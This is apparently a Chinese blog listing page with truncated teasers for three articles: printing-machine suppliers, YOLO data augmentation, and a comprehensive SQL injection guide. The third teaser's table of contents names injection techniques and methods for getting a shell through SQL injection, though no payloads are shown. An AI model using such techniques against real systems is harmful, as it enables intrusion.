随着包装行业数字化转型加速,高速印刷机作为核心生产设备,其技术迭代与供应链稳定性直接影响企业竞争力。然而,市场上加工厂良莠不齐,部分企业存在技术滞后、服务响应慢、交付周期长等问题,导致采购方陷入“选型难…

毕设数据不够?YOLO自动数据增强实战:一键生成图片+XML,小样本也能训模型

文章目录 一、为什么自动数据增强是毕设的“数据救星”? 二、自动数据增强的“生成逻辑”:让数据“无中生有” 三、实战:自动生成带标注的图片与xml,三步搞定 1. 第一步:工具准备与目录结构 2. 第二步:自动增强脚本实现(复制即用) 3. 第三步:执行增强与数据集整合 四、…

【全网最全】sql注入详解

目录 前言 一、漏洞原因分析 二、漏洞危害 三、sql注入防范 四、如何挖掘sql注入漏洞 五、常见的注入手法 联合查询(union注入) 报错注入 基于布尔的盲注 基于时间的盲注 HTTP头注入 宽字节注入 堆叠查询 二阶注入 六、sql注入getshell的几种方式 前言 SQL注入…